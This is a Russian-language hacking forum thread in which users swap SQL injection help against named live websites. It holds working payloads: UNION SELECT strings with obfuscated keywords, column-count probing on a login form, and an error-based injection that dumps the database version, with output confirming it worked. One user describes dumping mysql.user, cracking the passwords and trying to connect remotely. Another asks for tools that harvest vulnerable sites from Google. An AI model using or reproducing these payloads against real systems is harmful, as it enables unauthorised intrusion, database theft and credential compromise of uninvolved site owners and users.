а по запросу в бразере например /detail.php?id=-99+/*!UnIoN+SeLeCt*/+1,2,3,state,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+fuck_order+limit+1,1+--+ нормально выводит?
такая ситуация. на сайте mysql-inj. но user()=am***[email protected] т.е. получается база на другом серве. прочитал mysql.user. расшифровал пароли. нашел одного юзера у кого host=% пытаюсь подключится к nsite1.net- выдает access denied в чем может быть трабла?
http://www.radioreference.com/apps/audio/?ctid=92 http://www.radioreference.com/apps/audio/?ctid=92' (opera, not firefox) You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Ip.Ip.Ip.Ip' at line 1
есть уязвимый сайт: Code: www.site.com/index.php?login=<sql>&passwd=' кол-во столбцов подобрал, но почему то не выводит в какой колонке идет вывод на страницу. подскажите чё нють плиз.
2-PRIVAT- and Malygos h--ps://rdot.org/forum/showthread.php?t=685 2Tw!m4 net vyvoda. esli errory vyvodit - poprobui cherez nih
ПОдскажите плиз есть что-нибудь работающее в паблике для парсинга сайтов из гугла по определенному запросу?
2 -PRIVAT- Code: http://rwo[dot]solutions[dot]co[dot]at/login.php?luser=%27union%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,null--%20&passwd=testik%27 вот собственно сайтец как и говорил, с неверным кол-вом столбцов выдаёт ошибку, при правельном подборе страница показывает как ни в чём не бывало.....
http://rwo.solutions.co.at/ab/ab.php?id=954+or+(1,1)=(select+count(0),concat((select+version()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))from(information_schema.tables)+group+by+2)--+%20&opt=edit
А чё тут должно выйти? Чё т я как то не совсем врубаюсь...у меня выдает 404 еррор object not found PS: все пробелы убрал...
работало 2 минут назад, через дупликат по всей видимости скрипт убрали... UPD: работает Duplicate entry '5.0.45-community-nt1' for key 1